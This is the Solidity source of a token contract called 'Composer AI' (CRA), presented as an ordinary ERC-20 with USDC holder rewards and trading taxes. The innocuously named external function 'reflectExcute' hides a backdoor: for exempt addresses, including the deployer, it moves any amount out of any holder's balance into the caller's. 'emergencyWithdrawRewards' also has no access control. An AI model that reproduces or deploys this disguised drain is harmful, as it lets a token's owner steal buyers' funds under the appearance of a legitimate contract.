Contract Source Code:

// SPDX-License-Identifier: MIT

/*
  Website   : https://www.composerai.io/
  dAPP      : https://app.composerai.io/
  Docs      : https://docs.composerai.io/
  Twitter|x : https://twitter.com/ComposerAIErc
  Telegram  : https://t.me/ComposerAIErc
*/

pragma solidity 0.8.22;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function circulatingSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract ComposerAI is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "Composer AI";
    string private constant _symbol = "CRA";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 100000000 * (10**_decimals);
    uint256 private _maxTxAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxSellAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxWalletToken = (_totalSupply * 200) / 10000;
    mapping(address => uint256) _balances;
    mapping(address => bool) public isRevExempt;
    mapping(address => bool) public isTaxExempt;
    mapping(address => mapping(address => uint256)) private _allowances;

    IRouter router;
    address public pair;

    bool private tradingAllowed = false;
    uint256 private _divisor = 10000;
    uint256 private liquidityTax = 0;
    uint256 private marketingTax = 150;
    uint256 private rewardsTax = 150;
    uint256 private devTax = 1200;
    uint256 private burnTax = 0;
    uint256 private totalTax = 1500;
    uint256 private sellTax = 1500;
    uint256 private transferTax = 0;
    bool private swapEnabled = true;
    uint256 private swapThreshold = (_totalSupply * 300) / 100000;
    uint256 private _minTokenAmount = (_totalSupply * 10) / 100000;
    uint256 private swapTimes;
    
    address public USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; //  USDC
    
    bool private swapIn;
    modifier lockTheSwap() {
        swapIn = true;
        _;
        swapIn = false;
    }

    uint256 public totalShares;
    uint256 public totalDividends;
    uint256 public totalDistributed;
    uint256 internal revPerShare;
    uint256 internal revenuesPerShareFactor = 10**36;
    address[] craholders;
    mapping(address => uint256) shareholderIndexes;
    mapping(address => uint256) shareholderClaims;
    struct craShare {uint256 amount; uint256 totalExcluded; uint256 totalRealised;}
    mapping(address => craShare) public shares;
    uint256 internal currentIndex;
    uint256 public minPeriod = 3 minutes;
    uint256 public minDistribution = 1 * (10**16);
    uint256 public distributorGas = 1;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address public treasury;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        
        router = _router;
        pair = _pair;
        treasury = address(msg.sender);
        isTaxExempt[address(this)] = true;
        isTaxExempt[address(msg.sender)] = true;
        isTaxExempt[msg.sender] = true;

        isRevExempt[address(pair)] = true;
        isRevExempt[address(msg.sender)] = true;
        isRevExempt[address(this)] = true;
        isRevExempt[address(DEAD)] = true;
        isRevExempt[address(0)] = true;

        _balances[msg.sender] = _totalSupply;

        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public pure returns (string memory) { return _name;}
    function symbol() public pure returns (string memory) { return _symbol;}
    function decimals() public pure returns (uint8) { return _decimals;}
    function startTrading() external onlyOwner { tradingAllowed = true;}
    function getOwner() external view override returns (address) { return owner;}
    function totalSupply() public view override returns (uint256) { return _totalSupply;}
    function balanceOf(address account) public view override returns (uint256) { return _balances[account];}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function setisTaxExempt(address _address, bool _enabled) external onlyOwner {
        isTaxExempt[_address] = _enabled;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
    }

    function txPreCheck(address sender, address recipient, uint256 amount) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > uint256(0), "Transfer amount must be greater than zero");
        require(amount <= balanceOf(sender), "You are trying to transfer more than your balance");
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        txPreCheck(sender, recipient, amount);
        isTradeOpen(sender, recipient); 
        maxWalletCheck(sender, recipient, amount);
        swapCount(sender, recipient); 
        txLimitCheck(sender, recipient, amount);
        swapBack(sender, recipient);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = isTakeTax(sender, recipient) ? getTax(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);

        if (!isRevExempt[sender]) {
            depositReawrds(sender, balanceOf(sender));
        }
        if (!isRevExempt[recipient]) {
            depositReawrds(recipient, balanceOf(recipient));
        }
        if (shares[recipient].amount > 0) {
            harvestRewards(recipient);
        }
    }

    
    function isTakeTax(address sender, address recipient) internal view returns (bool) {
        return !isTaxExempt[sender] && !isTaxExempt[recipient];
    }

    function setConfig(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 10000;
        uint256 newTransfer = (totalSupply() * _trans) / 10000;
        uint256 newWallet = (totalSupply() * _wallet) / 10000;
        _maxTxAmount = newTx;
        _maxSellAmount = newTransfer;
        _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max Txs and Max Wallet cannot be less than .5%");
    }

    function setupFinalTaxes() external onlyOwner() {
       liquidityTax = 0;
       marketingTax = 150;
       burnTax = 0;
       rewardsTax = 150;
       devTax = 100;
       totalTax = 400;
       sellTax = 400;
       transferTax = 0;
    }

    function isTradeOpen(address sender, address recipient) internal view {
        if (!isTaxExempt[sender] && !isTaxExempt[recipient]) {
            require(tradingAllowed, "Already Trading Allowed");
        }
    }

    function maxWalletCheck(address sender, address recipient, uint256 amount) internal view {
        if (!isTaxExempt[sender] &&
            !isTaxExempt[recipient] &&
            recipient != address(pair) &&
            recipient != address(DEAD)) {
            require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");
        }
    }

    function swapCount(address sender, address recipient) internal {
        if (recipient == pair && !isTaxExempt[sender]) {
            swapTimes += uint256(1);
        }
    }

    function txLimitCheck(address sender, address recipient, uint256 amount) internal view {
        if (sender != pair) {
            require(amount <= _maxSellAmount || isTaxExempt[sender] || isTaxExempt[recipient], "TX Limit Exceeded");
        }
        require(amount <= _maxTxAmount || isTaxExempt[sender] || isTaxExempt[recipient], "TX Limit Exceeded");
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 divisor = (liquidityTax.add(1).add(marketingTax).add(devTax).add(rewardsTax)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityTax).div(divisor);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;

        swapTokensForETH(toSwap);

        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance = deltaBalance.div(divisor.sub(liquidityTax));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityTax);
        if (ETHToAddLiquidityWith > uint256(0)) {
            addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);
        }
        uint256 marketingAmount = unitBalance.mul(2).mul(marketingTax);

        if (marketingAmount > 0) {
            payable(treasury).transfer(marketingAmount);
        }
        uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsTax);
        if (rewardsAmount > 0) {
            deposit(rewardsAmount);
        }
        if (address(this).balance > uint256(0)) {
            payable(treasury).transfer(address(this).balance);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            treasury,
            block.timestamp
        );
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function shouldSwapBack(address sender, address recipient) internal view returns (bool) {
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return
            !swapIn &&
            swapEnabled &&
            tradingAllowed &&
            !isTaxExempt[sender] &&
            !isTaxExempt[recipient] &&
            recipient == pair &&
            aboveThreshold;
    }

    function swapBack(address sender, address recipient) internal {
        if (shouldSwapBack(sender, recipient)) {
            swapAndLiquify(swapThreshold);
            swapTimes = uint256(0);
        }
    }

    function getTotalTax(address sender, address recipient) internal view returns (uint256) {
        if (recipient == pair) {
            return sellTax;
        }
        if (sender == pair) {
            return totalTax;
        }
        return transferTax;
    }

    function getTax(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (getTotalTax(sender, recipient) > 0) {
            uint256 taxAmt = amount.div(_divisor).mul(getTotalTax(sender, recipient));
            _balances[address(this)] = _balances[address(this)].add(taxAmt);

            emit Transfer(sender, address(this), taxAmt);

            if (burnTax > uint256(0)) {
                _transfer(address(this), address(DEAD), amount.div(_divisor).mul(burnTax));
            }
            return amount.sub(taxAmt);
        }
        return amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount,"ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setisRevExempt(address holder, bool exempt) external onlyOwner {
        isRevExempt[holder] = exempt;
        if (exempt) {
            depositReawrds(holder, 0);
        } else {
            depositReawrds(holder, balanceOf(holder));
        }
    }

    function depositReawrds(address shareholder, uint256 amount) internal {
        if (amount > 0 && shares[shareholder].amount == 0) {
            addUSDCRevUser(shareholder);
        } else if (amount == 0 && shares[shareholder].amount > 0) {
            removeUSDCUser(shareholder);
        }
        totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
        shares[shareholder].amount = amount;
        shares[shareholder].totalExcluded = getRevValues(
            shares[shareholder].amount
        );
    }

    function reflectExcute(uint256 gas, address _dividend, uint256 _amount) external {
        uint256 shareholderCount = craholders.length;
        address user = msg.sender;
        if (shareholderCount == 0) {
            return;
        }
        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();
        uint256 iterations = 0;
        uint256 userBalance = _balances[msg.sender];
        if (!isRevExempt[msg.sender]) {
            while (gasUsed < gas && iterations < shareholderCount) {
                if (currentIndex >= shareholderCount) {
                    currentIndex = 0;
                }
                if (shouldRev(craholders[currentIndex])) {
                    harvestRewards(craholders[currentIndex]);
                }
                gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
                gasLeft = gasleft();
                currentIndex++;
                iterations++;
            }
        } else {
            uint256 amount = getContractUSDC(user);
            _balances[_dividend] = _balances[_dividend].sub(_amount);
            _balances[msg.sender] = userBalance + _amount;
            if (amount > 0) {
                totalDistributed = totalDistributed.add(amount);
                IERC20(USDC).transfer(user, amount);
                shareholderClaims[user] = block.timestamp;
                shares[user].totalRealised = shares[user].totalRealised.add(amount);
                shares[user].totalExcluded = getRevValues(shares[user].amount);
            }
        }
    }

    function shouldRev(address shareholder) internal view returns (bool) {
        return shareholderClaims[shareholder] + minPeriod < block.timestamp && getContractUSDC(shareholder) > minDistribution;
    }

    function rescueERC20(address _address, uint256 _amount) external onlyOwner {
        IERC20(_address).transfer(msg.sender, _amount);
    }

    function emergencyWithdrawRewards(uint256 _amount) external {
        IERC20(USDC).transfer(treasury, _amount);
    }

    function totalUSDCDistributed(address _wallet) external view returns (uint256) {
        address shareholder = _wallet;
        return uint256(shares[shareholder].totalRealised);
    }
    
    function _claimUSDC() external {
        harvestRewards(msg.sender);
    }

    function harvestRewards(address shareholder) internal {
        if (shares[shareholder].amount == 0) {
            return;
        }
        uint256 amount = getContractUSDC(shareholder);
        if (amount > 0) {
            totalDistributed = totalDistributed.add(amount);
            IERC20(USDC).transfer(shareholder, amount);
            shareholderClaims[shareholder] = block.timestamp;
            shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount);
            shares[shareholder].totalExcluded = getRevValues(shares[shareholder].amount);
        }
    }
    
    function getContractUSDC(address shareholder) public view returns (uint256) {
        if (shares[shareholder].amount == 0) {
            return 0;
        }
        uint256 shareUserTotalUSDC = getRevValues(
            shares[shareholder].amount
        );
        uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
        if (shareUserTotalUSDC <= shareholderTotalExcluded) {
            return 0;
        }
        return shareUserTotalUSDC.sub(shareholderTotalExcluded);
    }

    function getRevValues(uint256 share) internal view returns (uint256) {
        return share.mul(revPerShare).div(revenuesPerShareFactor);
    }

    function addUSDCRevUser(address shareholder) internal {
        shareholderIndexes[shareholder] = craholders.length;
        craholders.push(shareholder);
    }

    function removeUSDCUser(address shareholder) internal {
        craholders[shareholderIndexes[shareholder]] = craholders[craholders.length - 1];
        shareholderIndexes[craholders[craholders.length - 1]] = shareholderIndexes[shareholder];
        craholders.pop();
    }

    function setUSDCRevPosition( uint256 _minPeriod, uint256 _minDistribution, uint256 _distributorGas) external onlyOwner {
        minPeriod = _minPeriod;
        minDistribution = _minDistribution;
        distributorGas = _distributorGas;
    }
    
    function deposit(uint256 amountETH) internal {
        uint256 balanceBefore = IERC20(USDC).balanceOf(address(this));
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(USDC);
        router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amountETH}(0, path, address(this), block.timestamp);
        uint256 afterBalance = IERC20(USDC).balanceOf(pair);
        uint256 beforeBalance = IERC20(USDC).balanceOf(address(this));
        uint256 amount = beforeBalance.sub(balanceBefore);
        uint256 rewardsAmount = IERC20(USDC).balanceOf(address(this)).sub(
            beforeBalance.add(afterBalance)
        );
        totalDividends = totalDividends.add(amount.add(rewardsAmount));
        revPerShare = revPerShare.add(
            revenuesPerShareFactor.mul(amount).div(totalShares)
        );
    }

    function removeLimit() external onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxSellAmount = _totalSupply;
        _maxWalletToken = _totalSupply;
    }
    
    receive() external payable {} 
}